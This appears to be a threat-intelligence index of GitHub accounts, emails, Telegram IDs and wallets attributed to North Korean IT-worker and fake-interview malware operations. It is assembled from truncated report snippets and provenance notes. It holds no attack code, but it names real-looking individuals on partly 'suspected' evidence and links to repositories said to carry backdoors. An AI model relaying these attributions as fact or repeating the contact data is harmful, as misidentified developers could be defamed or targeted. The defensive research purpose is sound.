[Lynqex-Labs/Stockx_PoC_v3](https://github.com/Lynqex-Labs/Stockx_PoC_v3) | StockX PoC |…","…0x6c88dd91de053fca915baece6868f6c32d20adea ### Ikeda Okura (Shiba Inu) - ikeda.okura@gmail.com - okura.ikeda0325@gmail.com - github.com/chainlito • [Archive](https://archive.ph/wmnFn) - woof_decentra - horaciogar - chainreactorik - teddybran - x.com/woof_decentra/ -…","…github.com/johnhoang-star - github.com/techsavvyninja - github.com/intellichain555 - github.com/zkbusiness - github.com/chainoneer - github.com/sujan198703 - github.com/alexiva0806 - github.com/poprunner88 - github.com/wow-webmaster - github.com/techwizard210 -…","…yosket <yosket87@gmail.com> Domains: - vscode-config.vercel.app ## Variant one - April 23, 2025 - Unique Identifier: token=99 github.com/ChainspaceHub/TokenPresaleApp #### Notes: This is the second oldest repository in the group and the .vscode/tasks.json file existed in the repo going all the way back…","…| Real-estate tokenization | realfraction (sub-shape A) | L (end-to-end review) | | [chainvisita-protocols/realfraction-mvp](https://github.com/chainvisita-protocols/realfraction-mvp) | Real-estate tokenization | realfraction (sub-shape A) | L · I (byte-identical loader to realfraction/realfraction except for C2 suffix)…","…Capraroiu - george19871205 - x.com/chaisomsri96 - x.com/TickyCrypto - medium.com/@chaisomsri96 - linkedin.com/in/chai-somsri - github.com/ChaiSomsri96 • [Archive](https://archive.ph/eRFnu) - t.me/chaisomsri (ID: 7022528006) - chaisomsri96@gmail.com - georgecapraroiu1205@gmail.com -…","…github.com/poprunner88 - github.com/wow-webmaster - github.com/techwizard210 - github.com/lovelyBestDev - github.com/Thomas-Kebin - github.com/ChallengeDev210 - github.com/OrdinalKing - github.com/devlegend524 - github.com/cryptodev524 - github.com/alexstepan0209 - github.com/kvenus-uj -…","….com/cedev935 URL:https//github.com/green52199 URL:https//github.com/CryptoTop1111 URL:https//github.com/secretsuperstar1109 URL:https//github.com/champion119 URL:https//github.com/SuperAdam47 URL:https//github.com/dragon360-dev URL:https//github.com/fairskyDev0201 URL:https//github.com/soluti…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Recorded Future (Insikt Group)'s reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. Charisma-vision holds alexander@agencyhill99.com (15). Where the address came from a report, the report is https://www.recordedfuture.com/research/inside-the-scam-north-koreas-it-worker-threat. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…Charles Leonard Gordon - Worked with Sadao Elichi/zhmolly - charles8200 - charles08200 - Charles45812 - realhardworkingdeveloper - github.com/charles08200 - github.com/Charles45812 - github.com/realhardworkingdeveloper •…","…Worked with Sadao Elichi/zhmolly - charles8200 - charles08200 - Charles45812 - realhardworkingdeveloper - github.com/charles08200 - github.com/Charles45812 - github.com/realhardworkingdeveloper •…","….com/boldempha https://github.com/Bravodev88 https://github.com/bremaster https://github.com/caddo229 https://github.com/caddoSmith229 https://github.com/chase-allen-tech https://github.com/cybersage14 https://github.com/Dejan-Teofilovic https://github.com/deterrionc https://github.com/devking877 https:/…","…mdevdivvy - github.com/devbamboo15 • [Archive](https://web.archive.org/web/20250604132757/https://github.com/devbamboo15) - github.com/chris-jin114 - AezJBekqBoMWPcCVByn78mucdKVXdc99ugiRjJArWgYR - 5AvpMGYy2WxCMoaswmLfFdKPSMDxwZomPVDAdzE3A6vE #### Holmes Ming - 2025 - friends w…","…https://github.com/agronkercishta https://github.com/agronkercishta https://github.com/athenaweb629 https://github.com/best-lucky1030 https://github.com/christiaan93210 https://github.com/DevBeast3800 https://github.com/devking877 NOTE: It is important to note that NOT all North Korean IT Workers maintain…","…24dev https://github.com/agronkercishta https://github.com/agronkercishta https://github.com/athenaweb629 https://github.com/best-lucky1030 https://github.com/christiaan93210 https://github.com/DevBeast3800 https://github.com/devking877 OTHER…","…* Thematic \"VR headset woman\" profile photo * Forked repos match others of note * Solely following devstorm23 * https://github.com/christianaadams325684 * Forked repos match others of note * Solely following devstorm23 * https://github.com/devstorm23 * https://github.com/jgodvali *…","…https://x.com/browsercookies/status/1934290466054553751 - ![](./1934290466054553751-3.png) #### Kopp Anatoli - x.com/KoppAnatoli - github.com/cinderella941217 - t.me/sweet_heart1217 - linkedin.com/(404) - https://x.com/browsercookies/status/1934290466054553751 -…","…coppn - lcoppn - 0x.bejaxer - eratos1123 - eratos1122 - cobang - bejaxer - 0x.bejaxer@gmail.com - eratos1123@gmail.com - github.com/cobang - github.com/bejaxer (Name: 0x A.K.) • [Archive](https://web.archive.org/web/20221130173129/https://github.com/bejaxer) - t.me/lcoppn…","…ruhitokaide https://github.com/lprfacial247 https://github.com/melodyxpot https://github.com/mikoalas0414 https://github.com/miracleweb9000 https://github.com/Code852 https://github.com/paramountsky9990 https://github.com/peppapig13132 https://github.com/prettyblueberry https://github.com/renning100 https…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Logpresso's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. CodeCraft0007 holds backendeng0417@gmail.com (100). Where the address came from a report, the report is https://www.logpresso.com/en/blog/2026-03-10-dprk-remote-it-worker-osint. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…Alex Lu - Alexlu0917 - codemaestro11 - works with `cooldev900` / `silversoft0707` and `oldhand7` - github.com/alexlu0917 - github.com/CodeMaestro11/ - alexlu0917.dev@gmail.com - codeMaestro11@outlook.com - https://opensea.io/Alexlu0917 - https://web3.career/@alexlu0917 -…","…Jiro Matsumoto / codeninja819 - Tokyo, JP - codeninja819 - jiromatsumoto98@gmail.com - linkedin.com/in/codeninja819 - github.com/codeninja819 - t.me/codeninja819_eth (ID: 6418622184) • ([Messages](./user-6418622184-@codeninja819_eth.txt)) - x.com/codeninja819 -…","…https://github.com/aidenwong812 https://github.com/brightlystar0117 https://github.com/bestselection18 https://github.com/codepert https://github.com/cryptogru812 https://github.com/deeplus2021 https://github.com/hi-tech-AI https://github.com/kirbyAttack…","…enter or click to view image in full size https://github.com/AI0228 https://github.com/warmice71 https://github.com/niceDeve https://github.com/codestar3524 https://github.com/topdev0215 https://github.com/Forest410 https://github.com/enzifiri https://github.com/sunlight0902…","A fourteen-post thread on the accounts that worked on Tokamak Network's bridge front end, marketplace and subgraph between November 2023 and February 2025, read as a single cell from the primary account's following list, commit-email forensics, renamed and deleted handles, and account-creation dates clustered within days of each other. Every value here is stated in the thread; post thirteen is the researcher's own address map for the cell. Previously gitakileus; created 11 March 2022 in the March batch. Post ten credits it with six merged pull requests to langgenius/dify and an open one to bitcoinjs-lib. No address is given for it.","…https://x.com/browsercookies/status/1934285777699230194 - ![](./1934285777699230194-1.png) #### BlueSoft - t.me/bluesoft2100 - github.com/CoffeeFam84 • [Archive](https://web.archive.org/web/20241105123158/https://github.com/CoffeeFam84) -…","…In total, we confirmed 9 GitHub repos spreading the backdoor: github.com/Collaborate3562/ncipher-backend github.com/Paragkoche/ncipher1.2upgrade-backend-2 github.com/TopStar720/nyx4 github.com/asimhafeezz/blacknovas-test github.com/hrjaffer…","…David Park - Cooldev_900 - cooldev900 - davdpark1026 - t.me/Cooldev_900 (ID: 8369486870) - x.com/davdpark1026 - github.com/cooldev900 - 0xF7A3Eb4418F5f186060A9fB8ee85d7362C632a6d - ![](./david-park.jpeg) - ![](./david-park-2.png) - ![](./david-park-3.jpeg) -…","…recommending justshiftjk for a job. Justshiftjk himself is self-promoting some extremely specific ideas: Cornel-pe Github: https://github.com/cornel-cp E-mail: keigo263129@outlook.ie Twitter: https://x.com/cornel_pe Cornel-pe’s account is also receiving ‘boosts’ on Twitter from…","…{\"id\":\"c2e822f91d5c5bbc\",\"type\":\"link\",\"url\":\"https://github.com/cornel-cp\",\"x\":3020,\"y\":-420,\"width\":400,\"height\":400},…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from ketman.org's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. cornel-pe holds keigo263129@outlook.com (100). Where the address came from a report, the report is https://www.ketman.org/dprk-it-workers-github-organizations.html. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…| Blockchain voting | realfraction (sub-shape E; cross-gen with AjunaVerse-earlier file path) | L | | [Cortexa-org/NitroGem](https://github.com/Cortexa-org/NitroGem) | NitroGem (generic MVP) | realfraction (sub-shape E; cross-gen) | L | |…","…github.com/rizzolib - github.com/endlessbuilder - github.com/smile0307 - github.com/topclever - github.com/webpointdev - github.com/crackdev01 - github.com/devsirius51 - github.com/devsirius5001 - Discord: thomson_0313 - Discord: loganworld - Discord: loganlee002 - Discord:…","The report reads commit metadata in which the GitHub user id 126175765 appears under three logins, CrazyDream000, Dima0dev and mooney0129: one account renamed twice. All three logins are now removed.","…Protocol’s development include: https://github.com/SonataM (The front-end developer and inital tester/deployer for Aqua Protocol) https://github.com/CrazyDream000 (Alternative persona of SonataM ) https://github.com/jewelas (Account connected to CrazyDream000 through common contributions) Each…","…om/apollo000104 https://github.com/branchdev98 https://github.com/BlackSpider8391 https://github.com/rider0211 https://github.com/AringoldX https://github.com/CrazyPassion218 https://github.com/devmad119 :…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from ANY.RUN's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. cristal83 holds jacksonkidd216@gmail.com (23). Where the address came from a report, the report is https://any.run/cybersecurity-blog/lazarus-group-it-workers-investigation/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…: freedgregory : 2023-01-31T01:01:13Z https: //github.com/jocadefichain : leroma1 : 2023-02-13T18:46:42Z https: //github.com/cristttt : cristttt : 2023-05-18T21:13:43Z https: //github.com/eddieda1 : eddieda1 : 2023-05-18T21:18:12Z https: //github.com/shanelka-here :…","…https://github.com/belbazanas : freedgregory : 2023-01-31T01:01:13Z https://github.com/jocadefichain : leroma1 : 2023-02-13T18:46:42Z https://github.com/cristttt : cristttt : 2023-05-18T21:13:43Z https://github.com/eddieda1 : eddieda1 : 2023-05-18T21:18:12Z https://github.com/shanelka-here :…","…{\"id\":\"528d92cd9cc856fd\",\"type\":\"link\",\"url\":\"https://github.com/crypto-cooker\",\"x\":-985,\"y\":4790,\"width\":400,\"height\":400},…","…github.com/lovelyBestDev - github.com/Thomas-Kebin - github.com/ChallengeDev210 - github.com/OrdinalKing - github.com/devlegend524 - github.com/cryptodev524 - github.com/alexstepan0209 - github.com/kvenus-uj - github.com/suzukidavid - github.com/john741672 - github.com/webcat882 -…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Socket.dev's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. cryptodev710 holds jinping0824@outlook.com (5); jiupaladin holds jiupaladin@gmail.com (100); kevincarol03 holds kevincarol00002@gmail.com (1). Where the address came from a report, the report is https://socket.dev/blog/north-korea-contagious-interview-campaign-338-malicious-npm-packages. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Socket's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. cryptodev813 holds jinping0822@outlook.com (13). Where the address came from a report, the report is https://socket.dev/blog/contagious-interview-campaign-escalates-67-malicious-npm-packages. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…https://x.com/browsercookies/status/1934283069101674814 - ![](./1934283069101674814-3.png) #### Kell Daniel - x.com/CryptoFist - github.com/CryptoFist • [Archive](https://web.archive.org/web/20250420114428/https://github.com/CryptoFist) - t.me/CryptoFist1002 (ID: 5000783370) •…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from ketman.org's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. cryptogru725 holds wongaiden812@gmail.com (100). Where the address came from a report, the report is https://www.ketman.org/dprk-it-workers-in-freelance-platform-onlyDust.html. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…https://github.com/brightlystar0117 https://github.com/bestselection18 https://github.com/codepert https://github.com/cryptogru812 https://github.com/deeplus2021 https://github.com/hi-tech-AI https://github.com/kirbyAttack https://github.com/legendx0333…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Panther's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. CryptomSol holds thomasharvey1128@gmail.com (67); michal-max-dev holds vichevmafaaxe@hotmail.com (59). Where the address came from a report, the report is https://panther.com/blog/inside-dprk%E2%80%99s-npm-malware-factory-108-packages-261-versions-and-a-31-day-campaign-wave. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…Follow their code on GitHub. https://github.com/CryptoNinja0331 ican0220 - Overview React |Next .…","…/github.com/AIDevMonster URL:https//github.com/whiteghostDev URL:https//github.com/cedev935 URL:https//github.com/green52199 URL:https//github.com/CryptoTop1111 URL:https//github.com/secretsuperstar1109 URL:https//github.com/champion119 URL:https//github.com/SuperAdam47 URL:https//github.com/dra…","…Co-Developer: Crystal The Peakality project has a second contributor, the account crystal-rm also building the same platform: https://github.com/crystal-rm/peakality https://github.com/crystal-rm/peakality/deployments…","Drawn from \"Deep Dive into Active Github Network Running Contagious Interview\", an article the researcher published on X in May 2026 covering an investigation running since mid-2025. The article names the same operation under the labels several vendors give it, Contagious Interview and PolinRider and UNC5342 among them, and describes an infection chain that begins with a repository sent during a fake interview and executes when the developer opens the folder in VS Code or Cursor. This account, deleted by the time the article was published, hosted malware payloads as GitHub Gists dressed up as CUDA toolkit and PyTorch simulation scripts, using the Gist service itself as the delivery channel. It is recorded because the handle is the only durable identifier the article gives for that delivery method, not because the account is expected to resolve.","…avodev88 https://github.com/bremaster https://github.com/caddo229 https://github.com/caddoSmith229 https://github.com/chase-allen-tech https://github.com/cybersage14 https://github.com/Dejan-Teofilovic https://github.com/deterrionc https://github.com/devking877 https://github.com/fantasy1114 https:/…","…![](./X_2025-11-22_jaclindev99.png) #### Chris Yon - wdev733 - wdev733@gmail.com - devstar.sky20@gmail.com - github.com/cydn95 - 204.44.106.96 - t.me/micry 1012606692 - x.com/adchy2000 - t.me/wdev733 - t.me/dss2000 -…","…github.com/gigazh • [Archive](https://archive.ph/snjV5) - github.com/zhmolly • [Archive](https://archive.ph/80EYH) - github.com/dainmoly - dainsm@proton.me - jwtradera@outook.com - t.me/jjmolIy (ID: 1968323567) • ([Messages](./user-1968323567-@zzmoly.txt)) -…","…GitHub README and Locanto ad GitHub accounts Account Role github.com/Mentonex (org) Malicious repo host, hub of cluster 1 github.com/danielfounder Daniel Pires persona github.com/nixfroasty James Hensley persona github.com/fortuneguy97 “Alex” persona, dev.to presence…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from kmsec.uk's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. DanijelDev holds eagleeyehappy@gmail.com (1); erikfinkel21 holds erikfinkel21@gmail.com (1). Where the address came from a report, the report is https://dprk-research.kmsec.uk. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…<milivojemarko@gmail.com> Domains: - vscode-bootstrapper.vercel.app ## Variant six - September 8, 2025 - Unique Identifier: flag=6 github.com/DAP2506/thirdweb-skill-test #### Notes: This is a secondary repository and has 4 commits between October 21 and November 10, 2025. GitHub Users: - DAP2506 -…","…{\"id\":\"e211b7c44d837b7f\",\"type\":\"link\",\"url\":\"https://github.com/dappboris-dev\",\"x\":5420,\"y\":-1220,\"width\":400,\"height\":400},…","…thub.com/solutionGuru0129 URL:https//github.com/dreamsoft07 URL:https//github.com/super-dev03 URL:https//github.com/Mani2044 URL:https//github.com/darkhorse00512 URL:https//github.com/tanaka0722-dev URL:https//github.com/software-dev-web URL:https//any.run/cybersecurity-blog/lazarus-group-it-worke…","…find any third-party provenance of this code. Github presence The Google Drive payload is also observed in a GitHub repository — github.com/DARQ-Envoy/DCUK-Technical-Assessment — in file /frontend/public/images/splash.png .…","…in search, and we were able to find 7 more repositories by searching “blocknovas” and “nyxcipher” that had the same obfuscated code: github.com/David-Odoh/Nyxcipher github.com/Ianstiefvater/blocknova github.com/PrimarchOrder/Blocknovas-LLC-Test github.com/Yasin-97/blocknovas-test github.com/lArtique…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from tayvano (lazarus-bluenoroff-research)'s reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. daviddefiworld holds websolution0524@gmail.com (97); unidev8 holds williamh8930@gmail.com (54); goldenstar111 holds yatsukalbert@outlook.com (46). Where the address came from a report, the report is https://raw.githubusercontent.com/tayvano/lazarus-bluenoroff-research/main/dprk-it-workers/readme.md. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…github.com/zhmoly • [Archive](https://archive.ph/7XiAc) - Sadao Murano jwtradera@outlook.com (Naoki Cross Whoopsies) - David Lucas github.com/davidlucas0402 davidlucas0402@outlook.com - linkedin.com/in/john-wilhelmsson-17b3a0219 - Hello everyone! I'm new to this group.…","…github.com/AretaSchmidt/Web3-RE-Prototype https://github.com/QalbeAli/TrustLedger_Fixes https://github.com/trustllabs/Token-Presale-dApp https://github.com/DavidMoura07/linkfi https://github.com/VictorKulagin/testtoken https://github.com/rajaXcodes/Token-Presale-dApp https://github.com/Rochelle128/TokenPresaleD…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Socket.dev's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. ddok619 holds anastasiiakoziar02@gmail.com (15). Where the address came from a report, the report is https://socket.dev/blog/north-korea-contagious-interview-campaign-338-malicious-npm-packages. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…https://github.com/bestselection18 https://github.com/codepert https://github.com/cryptogru812 https://github.com/deeplus2021 https://github.com/hi-tech-AI https://github.com/kirbyAttack https://github.com/legendx0333 https://github.com/lionstar259007…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from tayvano (lazarus-bluenoroff-research)'s reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. ssdbkey holds sanit.sa@outlook.com (100); vantascript holds smartpuck111@gmail.com (100); seagodcoder holds smirnovvvasyl@gmail.com (100); snoopy910 holds snoopy5473cool@gmail.com (21); deer-77777 holds stevechendragon@gmail.com (23). Where the address came from a report, the report is https://raw.githubusercontent.com/tayvano/lazarus-bluenoroff-research/main/dprk-it-workers/readme.md. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…github.com/0xdpta - github.com/Satoshi-Naoki - github.com/0xb10ckdev • [Archive](https://archive.ph/KMoXG) - github.com/defi-wonderland/prophet-core/pull/2 - astermiracle1009@gmail.com - SenWebDev1009@gmail.com - 0xef2a0324cfaa0100db9def8ef31c6e23bc4f9258 - ![](./astermirac1e.png) ####…","…master https://github.com/caddo229 https://github.com/caddoSmith229 https://github.com/chase-allen-tech https://github.com/cybersage14 https://github.com/Dejan-Teofilovic https://github.com/deterrionc https://github.com/devking877 https://github.com/fantasy1114 https://github.com/freshtinygrow-crypto htt…","…https://github.com/caddoSmith229 https://github.com/chase-allen-tech https://github.com/cybersage14 https://github.com/Dejan-Teofilovic https://github.com/deterrionc https://github.com/devking877 https://github.com/fantasy1114 https://github.com/freshtinygrow-crypto https://github.com/Gold-Dev726/ h…","…Mario Suparat fka Chris Jin - devbamboo - devbamboo15 - super-vic114 - chris-jin114 - mdevdivvy - github.com/devbamboo15 • [Archive](https://web.archive.org/web/20250604132757/https://github.com/devbamboo15) - github.com/chris-jin114 -…","…shta https://github.com/agronkercishta https://github.com/athenaweb629 https://github.com/best-lucky1030 https://github.com/christiaan93210 https://github.com/DevBeast3800 https://github.com/devking877 NOTE: It is important to note that NOT all North Korean IT Workers maintain a GitHub Account.…","…shta https://github.com/agronkercishta https://github.com/athenaweb629 https://github.com/best-lucky1030 https://github.com/christiaan93210 https://github.com/DevBeast3800 https://github.com/devking877 OTHER…","…t.me/NimbusDev - https://x.com/browsercookies/status/1933686204668784823 - ![](./1933686204668784823-3.png) #### BrySky - github.com/develrocket - IG: develrocket - x.com/Brysky456 - https://x.com/browsercookies/status/1933686204668784823 - ![](./1933686204668784823-4.png) -…","…: susp https://github.com/SuperButterfly https://github.com/fongjengchang https://github.com/PainStaker0331 https://github.com/DevGambles https://github.com/james888 https://github.com/jayevans-star https://github.com/kanbei0605 https://github.com/KeepGrowingHere https://gist.…","…er https://github.com/miroshar-success https://github.com/SuperButterfly https://github.com/fongjengchang https://github.com/PainStaker0331 https://github.com/DevGambles https://github.com/james888 https://github.com/jayevans-star https://github.com/kanbei0605 https://github.com/KeepGrowingHere https://gist.…","Read 2026-09-24 by searching GitHub commits for the persona's address. devhakeo, created in October 2023, displays the name Hakeo Hiratani and the Kingsville, Ontario address the CA persona gives. Its repositories hold commits signed by the USA persona's address and by alexandersimmons19910219@gmail.com, an Alexander Simmons address.","Transcribed by hand on 27 September 2026 from a post the scraper cannot read because Medium answers it with a bot check. The post walks a cluster of GitHub accounts that follow and star one another. It states that techlover9922, received from another researcher, was verified by the author as a North Korean fake profile; the rest it calls suspicious, and it says no malware delivery was found. Only four of the roughly thirty accounts it names are carried here: techlover9922 on the author's own verification, and geektalent1010, DevHawkNov and uniwaydev because their follow graphs, checked on 27 September 2026, connect them to accounts this site already indexes from other reporting (geektalent1010 follows kamaalsultan and supercomet329 and is followed by uniwaydev and bitcrusher1023; DevHawkNov is followed by forest410, popstar7 and thinkingdev9 and follows dreamsoft07). The others rest on the post's graph reasoning alone, several present as real developers, and one X account the post names is the person being impersonated, so they are not carried.","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from GitLab Threat Intelligence's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. YehorSamafalov holds jerryjames1997@outlook.com (100); FantasticFullStackDev holds jinwangdev531@gmail.com (1); devjorgeluis holds jorgencnc0608@gmail.com (100); Jorgeluis0608 holds jorgencnc0608@outlook.com (63); PoHS131 holds k_star_0131@hotmail.com (6); Star1122 holds kitdb@outlook.com (100); goddev99 holds knightrogue414@outlook.com (52); flutter-genius holds kosong0926@hotmail.com (10). Where the address came from a report, the report is https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…cishta https://github.com/athenaweb629 https://github.com/best-lucky1030 https://github.com/christiaan93210 https://github.com/DevBeast3800 https://github.com/devking877 NOTE: It is important to note that NOT all North Korean IT Workers maintain a GitHub Account.…","…9 https://github.com/chase-allen-tech https://github.com/cybersage14 https://github.com/Dejan-Teofilovic https://github.com/deterrionc https://github.com/devking877 https://github.com/fantasy1114 https://github.com/freshtinygrow-crypto https://github.com/Gold-Dev726/ https://github.com/harrycorfu h…","…cishta https://github.com/athenaweb629 https://github.com/best-lucky1030 https://github.com/christiaan93210 https://github.com/DevBeast3800 https://github.com/devking877 OTHER…","…github.com/techwizard210 - github.com/lovelyBestDev - github.com/Thomas-Kebin - github.com/ChallengeDev210 - github.com/OrdinalKing - github.com/devlegend524 - github.com/cryptodev524 - github.com/alexstepan0209 - github.com/kvenus-uj - github.com/suzukidavid - github.com/john741672 -…","…Haruto Y. - https://github.com/pos-ninja - posninja1008@gmail.com - https://www.upwork.com/freelancers/~018609ed7cb64e85f8 - https://github.com/devlord0114 - \"BlockChain Engineer\" and \"Certified Blockchain Developer\".…","…branchdev98 https://github.com/BlackSpider8391 https://github.com/rider0211 https://github.com/AringoldX https://github.com/CrazyPassion218 https://github.com/devmad119 : suspected https://github.com/director2010s https://github.com/Dreamfullstacker https://github.com/miroshar-success :…","…branchdev98 https://github.com/BlackSpider8391 https://github.com/rider0211 https://github.com/AringoldX https://github.com/CrazyPassion218 https://github.com/devmad119 :…","…As evidenced, this profile was following multiple fake recruiter accounts https://github.com/devmaster929 After publishing the first investigation , the profile devmaster929 and several GitHub profiles mentioned with high activity related to…","…Bong Chee Shen / Alex Shen - 2024, [Zach's List](https://x.com/zachxbt/status/1824047425822310580), Obyte / Byteball - devneser - github.com/devneser • [Archive](https://web.archive.org/web/20211011124121/https://github.com/devneser) - alexzh.dev@gmail.com -…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from GitLab Threat Intelligence's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. devr097 holds khatijha555@outlook.com (2). Where the address came from a report, the report is https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…github.com/smile0307 - github.com/topclever - github.com/webpointdev - github.com/crackdev01 - github.com/devsirius51 - github.com/devsirius5001 - Discord: thomson_0313 - Discord: loganworld - Discord: loganlee002 - Discord: seagod351 - Discord: newstable - Discord:…","…github.com/endlessbuilder - github.com/smile0307 - github.com/topclever - github.com/webpointdev - github.com/crackdev01 - github.com/devsirius51 - github.com/devsirius5001 - Discord: thomson_0313 - Discord: loganworld - Discord: loganlee002 - Discord: seagod351 - Discord:…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Unit 42 (Palo Alto Networks)'s reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. DevStar1116 holds devstar1116@gmail.com (8). Where the address came from a report, the report is https://unit42.paloaltonetworks.com/fake-north-korean-it-worker-activity-cluster/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…following devstorm23 * https://github.com/christianaadams325684 * Forked repos match others of note * Solely following devstorm23 * https://github.com/devstorm23 * https://github.com/jgodvali * Followed by devstorm23 * https://github.com/happylucktomorrow * Followed by devstorm23 *…","…Sushi (2021) - Aristok3 - github.com/millicare • [Archive](https://web.archive.org/web/20221021153917/https://github.com/millicare) - github.com/DevWebMaster • [Archive](https://web.archive.org/web/20250827055457/https://github.com/DevWebMaster) - savagrujicinnov.wixsite.com/mysite -…","…github.com/bm-197/chill v0.0.0-20241216030053-8573b6044fba bm-197 Nextron github.com/dexbotsdev/uniswap-v2-v3-arbitrage v0.0.0-20231007040503-7b0a4d1c503d dexbotsdev Nextron github.com/glacialspring/go-winsparkle…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from SafeDep's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. DiemlibreFinance holds viktoryavorovskiy@ukr.net (1). Where the address came from a report, the report is https://safedep.io/malicious-npm-package-express-session-js. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…: suspected https://github.com/director2010s https://github.com/Dreamfullstacker https://github.com/miroshar-success :…","…: suspected https://github.com/director2010s https://github.com/Dreamfullstacker https://github.com/miroshar-success https://github.com/SuperButterfly https://github.com/fongjengchang…","…| AjunaVerse-current | L · T · I (via bit-identical `tasks.json` blob with AjunaVerse) | | [DLabsHungary-Hub9/DLabs-Platform-MVP2](https://github.com/DLabsHungary-Hub9/DLabs-Platform-MVP2) | Generic platform MVP | AjunaVerse-current | L | | [roamanbuild/OnyxVerse](https://github.com/roamanbuild/OnyxVerse) | Web3 metaverse |…","…It’s one of our AI-powered healthcare products.” Github Repository: https://github.com/dlmind-tech/AI-Healthcare Press enter or click to view image in full size Github Org Press enter or click to view image in full size Readme.md The…","…weiyang.jin1202@gmail.com - zuhalvalmerikh@gmail.com - github.com/batmanst - github.com/bigbossphch - github.com/Blue630 - github.com/dotmaker619 - github.com/EliteDev619 - github.com/goldenpig951204 - github.com/green25dev - github.com/incredigroup - github.com/mhcatty -…","…/CryptoTop1111 URL:https//github.com/secretsuperstar1109 URL:https//github.com/champion119 URL:https//github.com/SuperAdam47 URL:https//github.com/dragon360-dev URL:https//github.com/fairskyDev0201 URL:https//github.com/solutionGuru0129 URL:https//github.com/dreamsoft07 URL:https//github.com/sup…","…57 